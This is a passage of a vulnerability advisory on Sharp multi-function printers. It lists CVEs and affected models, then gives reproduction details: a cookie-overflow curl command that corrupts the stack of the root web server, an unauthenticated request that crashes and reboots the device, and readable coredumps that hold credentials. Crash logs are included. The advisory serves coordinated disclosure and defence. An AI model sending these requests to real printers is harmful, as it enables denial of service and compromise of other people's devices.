Sharp Multi-Function Printer 18 Vulnerabilities

Hello,Please find a text-only version below sent to security mailing lists.The complete version on "17 vulnerabilities in Sharp Multi-FunctionPrinters" is posted here:  https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.htmlThe text version is also posted here:  https://pierrekim.github.io/advisories/2024-sharp-mfp.txt=== text-version of the advisory  ===-----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512## Advisory InformationTitle: 17 vulnerabilities in Sharp Multi-Function PrintersAdvisory URL: https://pierrekim.github.io/advisories/2024-sharp-mfp.txtBlog URL: https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.htmlDate published: 2024-06-27Vendors contacted: JPCERTRelease mode: ReleasedCVE: CVE-2024-28038, CVE-2024-36251, CVE-2024-28955, CVE-2024-29146,CVE-2024-29978, CVE-2024-32151, CVE-2024-33605, CVE-2024-33610,CVE-2024-33610, CVE-2024-35244, CVE-2024-33616, CVE-2024-34162,CVE-2024-36248## Product description> Multifunction printers offer more than just print. These devices integrate the power of a printer, photocopier and scanner into one single device.>> From https://www.sharp.co.uk/printers-photocopiers/explore-sharp-printers/sharp-multifunction-printers## Vulnerability SummaryVulnerable versions: 308 different models of Sharp Multi-FunctionPrinters (MFP) are vulnerable. It is recommended to visit the officialSharp advisory (https://global.sharp/products/copier/info/info_security_2024-05.html)and apply security patches and replace unsupported Multi-FunctionPrinters (MFP) models.The summary of the vulnerabilities is as follows:1. CVE-2024-28038 - Memory corruption in the main program - RemoteCode Execution against the web server without authentication2. CVE-2024-36251 - Invalid (0x000000d0) pointer dereference - RemoteDoS without authentication3. CVE-2024-28955, CVE-2024-29146, CVE-2024-29978, CVE-2024-32151 -World-readable coredump files and insecure storage of credentials4. CVE-2024-33605 - Arbitrary Directory Listing without authentication5. non-assigned CVE vulnerability - Local File Inclusion allowing toread any file (e.g. Coredump files) without authentication5.1 Generation of the coredump file on the printer5.2 Local File Inclusion of the coredump file5.3 Retrieve of credentials using the coredump files5.4 Retrieve of credentials using configuration files6. CVE-2024-33610 - Backdoor webpage - Listing of session cookieswithout authentication7. non-assigned CVE vulnerability - Configuration webpages reachablewithout authentication8. CVE-2024-33610 - Reboot without authentication - Remote DoS9. CVE-2024-35244 - Backdoor access - Service10. non-assigned CVE vulnerability - Backdoor access - FSS User11. non-assigned CVE vulnerability - Insecure default credentials12. CVE-2024-33616 - Read admin access on telnet13. non-assigned CVE vulnerability - XSS on all the Sharp printers (login.html)14. non-assigned CVE vulnerability - XSS on all the Sharp printers(all other HTML pages)15. CVE-2024-34162 - Exfiltration of LDAP credentials by downgradingthe security16. CVE-2024-36248 - Hardcoded Google API Keys17. non-assigned CVE vulnerability - Hardcoded Amazon API Keys18. N-day CVE-2022-45796 - Remote Code ExecutionTL;DR: An attacker can compromise Sharp Multi-Function Printers usingmultiple vulnerabilities.List of vulnerable models of Sharp Multi-Function Printers (308 models):    BP-30C25, BP-30C25T, BP-30C25Y, BP-30C25Z, BP-30M35, BP-30M31,BP-30M28, BP-30M35T, BP-30M31T, BP-30M28T,    BP-50C36, BP-50C31, BP-50C26, BP-50C65, BP-50C55, BP-50C45,BP-50M36, BP-50M31, BP-50M26, BP-50M55,    BP-50M50, BP-50M45, BP-55C26, BP-60C45, BP-60C36, BP-60C31,BP-70C36, BP-70C31, BP-70C65, BP-70C55,    BP-70C45, BP-70M36, BP-70M31, BP-70M65, BP-70M55, BP-70M45,BP-90C70, BP-90C80, BP-B547WD, BP-B537WR,    BP-B550WD, BP-B540WR, BP-70M90, BP-70M75, MX-M1205, MX-M1055,DX-2500N, DX-2000U, MX-2010U, MX-1810U,    MX-2314N, MX-2314NR, MX-2630N, MX-3050N A, MX-3050V A, MX-3100N,MX-3100G, MX-2600N, MX-2600G, MX-3101N,    MX-2601N, MX-2301N, MX-3111U, MX-2310U, MX-2310R, MX-3115N,MX-2615N, MX-2615 A, MX-3116N, MX-2616N,    MX-3551, MX-3051, MX-2651, MX-3570N, MX-3070N, MX-3570V, MX-3070V,MX-3571, MX-3071, MX-3571S,    MX-3071S, MX-3610N, MX-3110N, MX-2610N, MX-3110N A, MX-3610NR,MX-3640N, MX-3140N, MX-2640N, MX-3140N A,    MX-3640NR, MX-3140NR, MX-2640NR, MX-4050N, MX-3550N, MX-3050N,MX-4050V, MX-3550V, MX-3050V, MX-4060N,    MX-3560N, MX-3060N, MX-4060V, MX-3560V, MX-3060V, MX-4061,MX-3561, MX-3061, MX-4061S, MX-3561S,    MX-3061S, MX-5001N, MX-5000N, MX-4101N, MX-4100N, MX-5112N,MX-5111N, MX-5110N, MX-4112N, MX-4111N,    MX-4110N, MX-5141N A, MX-4140N A, MX-5141N, MX-5140N, MX-4141N,MX-4140N, MX-6050N, MX-5050N, MX-6050V,    MX-5050V, MX-6051, MX-5051, MX-4051, MX-6070N A, MX-4070N A,MX-3070N A, MX-6070N, MX-5070N, MX-4070N,    MX-6070V A, MX-4070V A, MX-3070V A, MX-6070V, MX-5070V, MX-4070V,MX-6071, MX-5071, MX-4071, MX-6071S,    MX-5071S, MX-4071S, MX-7040N, MX-6240N, MX-7500N, MX-6500N,MX-7580N, MX-6580N, MX-8081, MX-7081,    MX-8090N, MX-7090N, MX-B400P, MX-B380P, MX-B401, MX-B381, MX-B402,MX-B382, MX-B402P, MX-B382P,    MX-B402SC, MX-B382SC, MX-B455W, MX-B355W, MX-B455WT, MX-B355WT,MX-B455WZ, MX-B355WZ, MX-B456WH, MX-B356WH,    MX-B456W, MX-B356W, MX-B476WH, MX-B376WH, MX-B476W, MX-B376W,MX-C301W, MX-C301, MX-C304, MX-C303,    MX-C304WH, MX-C303WH, MX-C304W, MX-C303W, MX-C312, MX-C311,DX-C311, DX-C311J, MX-C310, DX-C310,    MX-C381, DX-C381, MX-C380, MX-C381B, MX-C400P, MX-C380P, MX-C401,DX-C401, DX-C401 J, MX-C400,    DX-C400, MX-C402SC, MX-C382SC, MX-C382SCB, MX-M1204, MX-M1054,MX-M904, MX-M1206, MX-M1056, MX-M2630,    MX-M2630 A, MX-M266N, MX-M265N, MX-M265U, MX-M266NV, MX-M265NV,MX-M265UV, MX-M3050 A, MX-M314NV, MX-M264NV,    MX-M315NE, MX-M265NE, MX-M315NE, MX-M265NE, MX-M315V, MX-M265V,MX-M354N, MX-M314N, MX-M264N, MX-M354NR,    MX-M314NR, MX-M264NR, MX-M354U, MX-M314U, MX-M264U, MX-M3550,MX-M3050, MX-M3551, MX-M3051, MX-M2651,    MX-M356N, MX-M316N, MX-M315N, MX-M356U, MX-M315U, MX-M356NV,MX-M316NV, MX-M315NV, MX-M356UV, MX-M315UV,    MX-M3570, MX-M3070, MX-M3571, MX-M3071, MX-M3571S, MX-M3071S,MX-M465N A, MX-M365N A, MX-M503N, MX-M453N,    MX-M363N, MX-M283N, MX-M503U, MX-M453U, MX-M363U, MX-M564N,MX-M464N, MX-M364N, MX-M564N A, MX-M565N,    MX-M465N, MX-M365N, MX-M6050, MX-M5050, MX-M4050, MX-M6051,MX-M5051, MX-M4051, MX-M6070 A, MX-M4070 A,    MX-M3070 A, MX-M6070, MX-M5070, MX-M4070, MX-M6071, MX-M5071,MX-M4071, MX-M6071S, MX-M5071S, MX-M4071S,    MX-M753N, MX-M753U, MX-M623N, MX-M623U, MX-M754N, MX-M654N,MX-M754N A, MX-M654N A, MX-M7570, MX-M6570,    MX-M905._Miscellaneous notes_:This security assessment was entirely done using a blackbox approachand fully-remote - I only had some IPs of printers (no physical accessand no credentials for admin or normal users). Consequently, thephysical security of the printers was not analyzed and thevulnerabilities were confirmed with about 15 different models runningthe latest firmware versions (MX-3060N, MX-3061, MX-3070N, MX-3560N,MX-3561, MX-5070V, MX-5071, MX-C3051R MX-C3081R, MX-M365N, MX-M453U,MX-M465N, MX-M5050, MX-M5051, MX-M6051 and MX-M6071).The vulnerabilities were communicated to JPCERT on June 1, 2023 andcommunications with JPCERT were very effective - they fully managedinteractions with Sharp._Impacts_An attacker can compromise Sharp multi-function printers (MFP) andexecute code. These printers are running Linux and are powerful. Theyare ideal to host implants (and fun programs, like Bettercap) and movelaterally inside infrastructures._Recommendations_- - Use network segmentation to isolate MFPs.- - Apply security patches.- - Replace unsupported MFPs.## Details - Memory corruption in the main program - Remote CodeExecution against the web server without authenticationBy Default, Sharp printers are using a single super-program that willrun as root and provide network daemons (ftp, http, snmp,raw-printer-9100, ...). This single program is vulnerable to astack-based buffer overflow without authentication.This `main` program runs as root and its HTTP stack is vulnerable,without authentication, to a stack-based buffer overflow, allowing anattacker to redirect the control flow of the program and achieveremote code execution.`main` program listening on port 80/tcp:    sh-4.3# ps -auxww | grep main    root      1186  6.3  5.3 2124656 172688 ?      Sl   00:27  43:36/tmp/app/ui/ui_mainview -hidecursor    root      2081  3.9 10.9 2515532 348980 ?      Sl   00:27  26:52/tmp/main/main -cpu=1 -stack=8000 -fifo -nosigmask -nodlychk    root     13598  0.0  0.0   1980   368 pts/0    S+   11:49   0:00 grep main    sh-4.3# netstat -laputen | grep main    tcp        0      0 0.0.0.0:50001           0.0.0.0:*       LISTEN     0          10217       2081/main    tcp6       0      0 :::443                  :::*            LISTEN     0          12538       2081/main    tcp6       0      0 :::52000                :::*            LISTEN     0          33214       2081/main    tcp6       0      0 :::10080                :::*            LISTEN     0          18542       2081/main    tcp6       0      0 :::515                  :::*            LISTEN     0          10166       2081/main    tcp6       0      0 :::53000                :::*            LISTEN     0          12539       2081/main    tcp6       0      0 :::10443                :::*            LISTEN     0          18545       2081/main    tcp6       0      0 :::5900                 :::*            LISTEN     0          33233       2081/main    tcp6       0      0 :::9100                 :::*            LISTEN     0          12534       2081/main    tcp6       0      0 :::80                   :::*            LISTEN     0          12537       2081/main    tcp6       0      0 :::21                   :::*            LISTEN     0          10164       2081/main    tcp6       0      0 :::631                  :::*            LISTEN     0          10168       2081/main    udp        0      0 127.0.0.1:9473          0.0.0.0:*     0          13202       2081/main    udp6       0      0 :::5353                 :::*     0          12497       2081/main    udp6       0      0 :::161                  :::*     0          33229       2081/main    udp6       0      0 :::546                  :::*     0          33145       2081/main    sh-4.3#By default, the printer will provide a MFPSESSIONID cookie whenreaching the printer with a browser as shown below. This cookie willthen be used for authentication purposes if the user decides to loginto the printer. For example, with a HTTP request to /main.html:    kali% curl -kv http://10.0.0.1/main.html | head      % Total    % Received % Xferd  Average Speed   Time    TimeTime  Current                                     Dload  Upload   Total   SpentLeft  Speed      0     0    0     0    0     0      0      0 --:--:-- --:--:----:--:--     0*   Trying 10.0.0.1:80...    * Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)    > GET /main.html HTTP/1.1    > Host: 10.0.0.1    > User-Agent: curl/7.88.1    > Accept: */*    >    < HTTP/1.1 200 OK    < Server: Rapid Logic/1.1    < MIME-version: 1.0    < Date: Thu Jan  1 02:32:35 1970 GMT    < Content-Type: text/html; charset=UTF-8    < Transfer-Encoding: chunked    < Connection: close    < Pragma: no-cache    < Cache-Control: no-cache    < X-Frame-Options: DENY    < Set-Cookie:MFPSESSIONID=020015D2C59E7B68C9FB5F411B0E59FCBEF70F7E03CEE4C4C5A12023051115051847BC555A    < Extend-sharp-setting-status: 0    <    { [2 bytes data]    <!DOCTYPE html>    <html  lang="en">    <head>    <meta charset="UTF-8" />    <meta name="viewport" content="width=320,initial-scale=1.0" />    <meta name="format-detection" content="telephone=no" />    <meta http-equiv="X-UA-Compatible" content="IE=8; IE=10; IE=11" />    <title>Machine Identification - MX-M6071</title>    <link rel="stylesheet" href="other.css" type="text/css" />    <link rel="stylesheet" href="color1.css" type="text/css" />    * Failure writing output to destination    * Failed reading the chunked-encoded stream    100  6950    0  6950    0     0   196k      0 --:--:-- --:--:----:--:--  199k    * Closing connection 0    curl: (23) Failure writing output to destination    kali%By sending a malicious HTTP request with a long MFPSESSIONID cookie,it is possible to overwrite the stack of the main program.This payload will send a MFPSESSIONID cookie with a payload of 643bytes. This payload will overwrite a stack buffer inside the mainprogram. The buffer is probably 639 bytes and `EDBB` will overwritethe stack:    kali% var=`perl -e "print 'A'x639"`; curl -v -b"MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html    *   Trying 10.0.0.1:80...    * Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)    > GET /system.html HTTP/1.1    > Host: 10.0.0.1    > User-Agent: curl/7.88.1    > Accept: */*    > Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB    >If /system.html does not exist, it is possible to use /main.html orany existing html webpage instead:    kali% var=`perl -e "print 'A'x639"`; curl -v -b"MFPSESSIONID=${var}EDCB" http://10.0.0.1/main.html    *   Trying 10.0.0.1:80...    * Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)    > GET /system.html HTTP/1.1    > Host: 10.0.0.1    > User-Agent: curl/7.88.1    > Accept: */*    > Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB    >If the first exploitation does not work, it is possible to resend itagain to overwrite the stack the second time:    kali% var=`perl -e "print 'A'x639"`; curl -v -b"MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html    *   Trying 10.0.0.1:80...    * Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)    > GET /system.html HTTP/1.1    > Host: 10.0.0.1    > User-Agent: curl/7.88.1    > Accept: */*    > Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB    kali% var=`perl -e "print 'A'x639"`; curl -v -b"MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html    *   Trying 10.0.0.1:80...    * Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)    > GET /system.html HTTP/1.1    > Host: 10.0.0.1    > User-Agent: curl/7.88.1    > Accept: */*    > Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCBThe `dmesg` output on the printer will confirm that the main programcrashed while trying to reach the address 0x42434445, corresponding tothe previous `EDCB` sent inside the cookie. `EDCB` is represented inthe little-endian format as ARM is little-endian and 0x42434445 can befound inside several registers (but not PC).output of `dmesg`:    [  127.970220] main[15612]: unhandled level 2 translation fault(11) at 0x42434445, esr 0x92000006    [  127.979463] pgd = ffff80007a07e000    [  127.982981] [42434445] *pgd=00000000fa099003,*pud=00000008c6f9d003, *pmd=0000000000000000    [  127.992811] CPU: 1 PID: 15612 Comm: main Tainted: P           O   4.1.46-rt52 #2    [  128.000296] Hardware name: LS1043A MFP Board (DT)    [  128.005195] task: ffff8008372c69c0 ti: ffff80083dde0000task.ti: ffff80083dde0000    [  128.012710] PC is at 0x20d4ff8    [  128.015761] LR is at 0x2a0    [  128.018465] pc : [<00000000020d4ff8>] lr : [<00000000000002a0>]pstate: 900f0010    [  128.026024] sp : 000000008f12f7c0    [  128.029335] x12: 0000000042434445    [  128.032981] x11: 000000008fd45008 x10: 0000000000000001    [  128.038298] x9 : 0000000091247bf8 x8 : 000000008fd5648c    [  128.043678] x7 : 0000000000000000 x6 : 000000008fd56c58    [  128.048996] x5 : 000000008fd569bc x4 : 0000000008b90bdc    [  128.054388] x3 : 0000000042434445 x2 : 0000000042434445    [  128.059834] x1 : 000000008fd569b8 x0 : 0000000000000001On the printer, using GDB, we will confirm the main program crashedand the stack has been successfully corrupted:    sh-4.3# ps -auxww|grep main    root      1186  9.7  4.9 2123632 158080 ?      Sl   11:31   0:21/tmp/app/ui/ui_mainview -hidecursor    root      2023  7.8  9.8 2505880 316360 ?      Sl   11:31   0:15/tmp/main/main -cpu=1 -stack=8000 -fifo -nosigmask -nodlychk    root     26544  0.0  0.0   1980   376 pts/0    S+   11:34   0:00 grep main    sh-4.3# gdb -p 2023    GNU gdb (GDB) 7.10.1.20160210-cvs    warning: File "/lib/libthread_db-1.0.so" auto-loading has beendeclined by your `auto-load safe-path' set to"$debugdir:$datadir/auto-load".    warning: Unable to find libthread_db matching inferior's threadlibrary, thread debugging will not be available.    0xf744f1c4 in pthread_join () from /lib/libpthread.so.0    (gdb) c    ...    [LWP 32749 exited]    [New LWP 32750]    [New LWP 32751]    [LWP 32751 exited]    [New LWP 32752]    ...    [New LWP 27196]    [LWP 27196 exited]    [New LWP 27197]    Program received signal SIGSEGV, Segmentation fault.    [Switching to LWP 27195]    0x020d4ff8 in ?? ()    (gdb) bt    #0  0x020d4ff8 in ?? ()    #1  0x000002a0 in ?? ()    Backtrace stopped: previous frame identical to this frame (corrupt stack?)    (gdb) info reg    r0             0x1      1    r1             0x903e0ec8       2419986120    r2             0x42434445       1111704645    r3             0x42434445       1111704645    r4             0x8b90bdc        146344924    r5             0x903e0ecc       2419986124    r6             0x903e1168       2419986792    r7             0x0      0    r8             0x903e082c       2419984428    r9             0x918ddcb8       2441993400    r10            0x1      1    r11            0x903db008       2419961864    r12            0x42434445       1111704645    sp             0x72231fc0       0x72231fc0    lr             0x2a0    672    pc             0x20d4ff8        0x20d4ff8    cpsr           0x90050010       -1878720496    (gdb) info frame    Stack level 0, frame at 0x72231fc0:     pc = 0x20d4ff8; saved pc = 0x2a0     called by frame at 0x72231fc0     Arglist at 0x72231fc0, args:     Locals at 0x72231fc0, Previous frame's sp is 0x72231fc0    (gdb)There is no ASLR in the `main` program; the addresses are alwaysidentical therefore exploitation is very likely.Exploitation was not attempted since no enough time was allocated todevelop such exploit during this security assessment and I already hada remote shell as root on the printers. Sharp confirmed thatexploitation is possible.An attacker with a RCE vulnerability can then move laterally and useWifi to exfiltrate information:    bash-4.3# iwlist ath0 scan    ath0      Scan completed :              Cell 01 - Address: 00:3C:10:01:02:03                        ESSID:"[REDACTED]"                        Mode:Master                        Frequency:2.412 GHz (Channel 1)                        Quality=93/94  Signal level=-54 dBm  Noise level=-95 dBm                        Encryption key:off                        Bit Rates:12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s; 48 Mb/s                                  54 Mb/s                        Extra:bcn_int=100    bash-4.3### Details - Invalid (0x000000d0) pointer dereference - Remote DoSwithout authenticationIt was observed that the `/billcodedef_sub_sel.html` webpage isreachable without authentication on Sharp printers. A specific requestto this webpage will trigger an invalid pointer deference in the mainprogram. The printer will then reboot after creating coredump files.[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html][please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]When submitting the request with the Sub Code `test` by pressing`Search Start(Q)`, the HTTP request will be:HTTP request using the HTML form from `billcodedef_sub_sel.html`:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html][please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]It is possible to modify the HTTP request to change`curr_page_url=%2Fbillcodedef_sub_sel.html` to`curr_page_url=%2Fbillcodedef_sub_sel.html?`. A question mark wasadded after `billcodedef_sub_sel.html`.The resulting request will be:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html][please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]The corresponding malicious HTTP request to trigger the DoS is:    POST /billcodedef_sub_sel.html? HTTP/1.1    Host: 10.0.0.1    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0)Gecko/20100101 Firefox/102.0    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8    Accept-Language: en-US,en;q=0.5    Accept-Encoding: gzip, deflate    Content-Type: application/x-www-form-urlencoded    Content-Length: 406    Origin: http://10.0.0.1    Connection: close    Referer: http://10.0.0.1/billcodedef_sub_sel.html?    Cookie: MFPSESSIONID=020035B15A47378CF80C6175263F714EEF9118E72A1AA6C9CAC6202305181146331E5FF54;sideBarflag=1    Upgrade-Insecure-Requests: 1    billing_code_def_selWebchg=&action=searchbtn&ordinate=0&token2=AEC039F52DC886D169AC7F977F61D4C61295539BC0A3572B08E37FB291B9A766E238FB699426F67B&ggt_textbox%288%29=test&ggt_textbox%2811%29=&ggt_select%2829%29=1&billing_radio=2%2C&BillingCode%282%2C%29=Not+Set&BillingCodeName%28%29=&ggt_hidden%2839%29=0&ggt_hidden%2840%29=1&ggt_hidden%2844%29=&curr_page_url=%2Fbillcodedef_sub_sel.html?&selBillingCodeName=We can also reproduce the issue using curl:    kali% curl -i -s -k -X $'POST' -H $'Host: 10.0.0.1' --data-binary'curr_page_url=%2Fbillcodedef_sub_sel.html?''http://10.0.0.1/billcodedef_sub_sel.html'On the printer, we can see a crash:    [ 9914.440518] main[18602]: unhandled level 3 translation fault(11) at 0x000000d0, esr 0x92000007    [ 9914.453538] pgd = ffff80082f408000    [ 9914.456936] [000000d0] *pgd=00000000f9ea6003,*pud=00000000f9f6e003, *pmd=00000000f9c0f003, *pte=0000000000000000    [ 9914.468751] CPU: 1 PID: 18602 Comm: main Tainted: P           O   4.1.46-rt52 #2    [ 9914.476433] Hardware name: LS1043A MFP Board (DT)    [ 9914.481138] task: ffff80083de6c680 ti: ffff80082cb20000task.ti: ffff80082cb20000    [ 9914.488691] PC is at 0x228fe6c    [ 9914.491744] LR is at 0x228f820    [ 9914.494830] pc : [<000000000228fe6c>] lr : [<000000000228f820>]pstate: 600f0010    [ 9914.502227] sp : 000000007212fd70    [ 9914.505539] x12: 00000000ffffffff    [ 9914.508939] x11: 000000007212fdb0 x10: 0000000000000001    [ 9914.514367] x9 : 0000000091170990 x8 : 0000000000000002    [ 9914.519683] x7 : 000000007212fd88 x6 : 0000000091172799    [ 9914.525102] x5 : 0000000000000000 x4 : 0000000000000000    [ 9914.530417] x3 : 0000000000000000 x2 : 000000007212fdd0    [ 9914.535764] x1 : 0000000000000061 x0 : 0000000000000000    [ 9914.543566] [BSPIF]bspif_pof_wait:signal receive(-512)    [ 9914.548702] [BSPIF]bspif_pof_wait:    [ 9988.116784] Panic : Oops Exit !!! [comm:irq/20-serial] [user_mode:0]With the creation of the corresponding coredump files:    sh-4.3# cd /mnt/log && ls -latr    [...]    -rw-r--r--  1 root root  19133981 May 18 11:48 core-main.log.gz.001    -rw-r--r--  1 root root         0 May 18 11:48 ERR_IFS.log    -rw-r--r--  1 root root  19133981 May 18 11:48 ERR_core-main.log.gz    -rw-r--r--  1 root root     97230 May 18 11:48 ERR_kern.log    -rw-r--r--  1 root root         0 May 18 11:48 ERR_core-pdl.log.gz    -rw-r--r--  1 root root         0 May 18 11:48 ERR_log_ui_mainview.log    -rw-r--r--  1 root root     21262 May 18 11:48 ERR_pdl.log    -rw-r--r--  1 root root       315 May 18 11:48 ERR_nf.log    -rw-r--r--  1 root root    314620 May 18 11:48 ERR_main.log    -rw-r--r--  1 root root     97363 May 18 11:48 kern.log.001    -rw-r--r--  1 root root     18653 May 18 11:48 vmstat.log.001    -rw-r--r--  1 root root       377 May 18 11:48 umount.log.001    -rw-r--r--  1 root root      1861 May 18 11:48 slinkerr1.log    -rw-r--r--  1 root root      4582 May 18 11:48 slinkerr0.log    -rw-r--r--  1 root root     45625 May 18 11:48 watch_idle.log    -rw-r--r--  1 root root    314692 May 18 11:49 main.log    -rw-r--r--  1 root root       132 May 18 11:49 bsp.log    -rw-r--r--  1 root root     96435 May 18 11:49 kern.log    -rw-r--r--  1 root root       407 May 18 11:49 vmstat.log    sh-4.3# date    Thu May 18 11:50:40 UTC 2023    sh-4.3# uptime     11:51:55 up 3 min,  0 users,  load average: 1.36, 0.95, 0.40    sh-4.3### Details - World-readable coredump files and insecure storage of credentialsIt was observed that the coredump files located in the Sharp printershave incorrect permissions. Any local user can read them. Thesecoredump files contain all the clear-text credentials of the users.Core files present in /mnt/log:    sh-4.3# ls -la /mnt/log | grep core    -rw-r--r--  1 root root  16120921 May 11 15:18 ERR_core-main.log.gz    -rw-r--r--  1 root root         0 May 11 15:18 ERR_core-pdl.log.gz    -rw-r--r--  1 root root         0 Jan  1  2000 SWOFF_core-IFS.log.gz    -rw-r--r--  1 root root         0 Jan  1  2000 SWOFF_core-IFS.log.gz.001    -rw-r--r--  1 root root         0 Jan  1  2000 SWOFF_core-IFS.log.gz.002    -rw-r--r--  1 root root         0 Jan  1  2000 SWOFF_core-NX.log.gz    -rw-r--r--  1 root root         0 Jan  1  2000 SWOFF_core-NX.log.gz.001    -rw-r--r--  1 root root         0 Jan  1  2000 SWOFF_core-NX.log.gz.002    -rw-r--r--  1 root root         0 Jan  1  2000 SWOFF_core-bcr_iface.log.gz    -rw-r--r--  1 root root         0 Jan  1  2000SWOFF_core-bcr_iface.log.gz.001    -rw-r--r--  1 root root         0 Jan  1  2000SWOFF_core-bcr_iface.log.gz.002    -rw-r--r--  1 root root         0 Jan  1  2000 SWOFF_core-main.log.gz    -rw-r--r--  1 root root         0 Jan  1  2000 SWOFF_core-main.log.gz.001    ...    -rw-r--r--  1 root root         0 Jan  1  2000 core-main.log.gz    -rw-r--r--  1 root root 